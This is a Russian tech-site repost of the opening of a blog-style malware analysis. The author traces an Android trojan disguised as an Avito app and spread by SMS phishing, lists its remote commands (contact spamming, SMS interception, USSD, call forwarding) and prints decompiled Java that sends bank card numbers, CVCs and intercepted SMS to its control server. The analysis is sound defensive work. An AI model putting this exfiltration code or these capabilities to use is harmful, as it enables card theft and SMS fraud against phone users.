Как я позорно деактивировал ботнет

image
Статья не соответствует заголовку, сервер внезапно поднялся. Двойной позор.
Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK

Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:

delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом

sent&&& — отправка заданных СМС-сообщений с сервера

rent&&& — перехват всех СМС-сообщений и отправка их на сервер

sms_stop&&& — отмена перехвата СМС-сообщений

ussd&&& — USSD-запрос

call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок

protected HttpRequestBase a() { try { HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c()))); arraylist.add(new BasicNameValuePair("number", b)); arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue()))); arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue()))); arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue()))); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("set_card.php").toString()); } protected HttpRequestBase a() { try { HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b))); arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b))); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("get.php").toString()); } protected HttpRequestBase a() { try { JSONObject jsonobject = new JSONObject(); jsonobject.put("text", c); jsonobject.put("number", d); jsonobject.put("date", e); HttpPost httppost = new HttpPost(d()); ArrayList arraylist = new ArrayList(); arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b))); arraylist.add(new BasicNameValuePair("sms", jsonobject.toString())); httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8")); return httppost; } catch(UnsupportedEncodingException unsupportedencodingexception) { unsupportedencodingexception.printStackTrace(); } catch(JSONException jsonexception) { jsonexception.printStackTrace(); } return null; } protected String d() { return new String((new StringBuilder()).append(a).append("load_sms.php").toString());

Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера. Читать дальше →

Хабрахабр про Андройд софт Android Android

Кратко по миру / android

27.08.2014 525 autoRSS Распечатать

  • Оцените публикацию
    • 0
Реклама на сайте

Похожие публикации

Как запретить Mac открывать ненужные приложения

После покупки Mac у меня было два небольших нарекания к OS X: автоматическое открывание iTunes, когда я переходил по любой ссылке в App Store в Safari и запуск Захвата приложений и iTunes при... 10-11-2014 19:30

[Из песочницы] Универсальный метод обхода запрета Yota раздавать интернет с телефона или собираем модуль ядра Android

Старые методы и их недостатки Я думаю, никому уже не интересно читать во второй раз (а может быть и в третий), о том, как Yota определяет, пользуется ли человек телефоном в режиме модема или точки... 30-09-2014 11:54

Android last.fm скробблер WAIL Beta теперь Open Source

Привет. Примерно полгода назад я запилил Android приложение для скробблинга проигрываемой в разных плеерах музыки в last.fm. Уже несколько месяцев у меня нет времени развивать этот проект, поэтому я... 11-07-2014 12:43

Как создавать патчи, основанные на доверчивой политике безопасности Android

Приветствую тебя, уважаемый читатель! Offtop В этом топике я хотел бы рассказать о том, как можно получать доступ к тому, что принадлежит нам, но косвенно. Любой софт — это чья-то собственность:... 21-04-2014 20:46

Как настроить клавишу ? (или любую другую) для извлечения флэшек и внешних жестких дисков

Недавно у меня наконец-то дошли руки оформить в USB-карман, вытащенный из моего MBP 13″, 500 гигабайтный жесткий диск, оставшийся после апгрейда. На этот шаг меня подтолкнула нехватка места на... 26-03-2014 19:00

Стримим радиоэфир или полицейская волна онлайн

Продалжаем собирать материалы по средствам связи (и не только сотовым), крайне любопытная статья была опубликована на Хабрахабре. Пользователь vvzvlad рассказывает о схеме прслушивания диапазона... 23-06-2012 11:40

Android / PopCornUA — Android приложение для афиши кинотеатров Украины

С недавнего времени я решил попробовать разрабатывать приложения для Android. Пока что разрабатываю на Android «just for fun», пробую новые технологии как говорится. Поскольку у меня есть доступ к... 18-09-2010 11:14

[App Store] iStylist Makeover: стилист в кармане!

Сколько раз за всю недолгую жизнь человек меняет свою прическу? Я вот, например, лет до восемнадцати ходил с левым пробором, потом перешел на прямую челку, затем вынужденный полубокс, далее чуть... 10-01-2009 21:53


@

  • bowtiesmilelaughingblushsmileyrelaxedsmirk
    heart_eyeskissing_heartkissing_closed_eyesflushedrelievedsatisfiedgrin
    winkstuck_out_tongue_winking_eyestuck_out_tongue_closed_eyesgrinningkissingstuck_out_tonguesleeping
    worriedfrowninganguishedopen_mouthgrimacingconfusedhushed
    expressionlessunamusedsweat_smilesweatdisappointed_relievedwearypensive
    disappointedconfoundedfearfulcold_sweatperseverecrysob
    joyastonishedscreamtired_faceangryragetriumph
    sleepyyummasksunglassesdizzy_faceimpsmiling_imp
    neutral_faceno_mouthinnocent


Другие материалы сайта:

Флагманы от Google. Pixel 2 и Pixel 2 XL

Вчера Google провели презентацию, где была представлена целая россыпь новых устройств, среди которых – два долгожданных смартфона, Pixel 2 и Pixel 2 XL…...

mobile-review.com обзоры

Настройки и обзоры 05.10.2017 101

В сети появились рендеры неанонсированных смарт-часов Fitbit

Компания Fitbit сейчас занята тем, что активно приобретает разработчиков смарт-часов. Ранее она купила Pebble и Vector Watch, очевидно планируя использовать их наработки. И вот появилась первая информация об этом. В сети были опубликованы рендеры, которые демонстрируют неанонсированные смарт-часы...

Root Nation Новости IT

Кратко по миру 11.08.2017 99

Обзор смартфона BQ-5201 Space

Флагманская модель компании BQ Mobile: 3 ГБ ОЗУ, 32 ГБ встроенной памяти и восьмиядерный чипсет…...

mobile-review.com обзоры

Настройки и обзоры 07.09.2017 152


iPad DJey

smartZone.ru плейлист

Реклама на сайте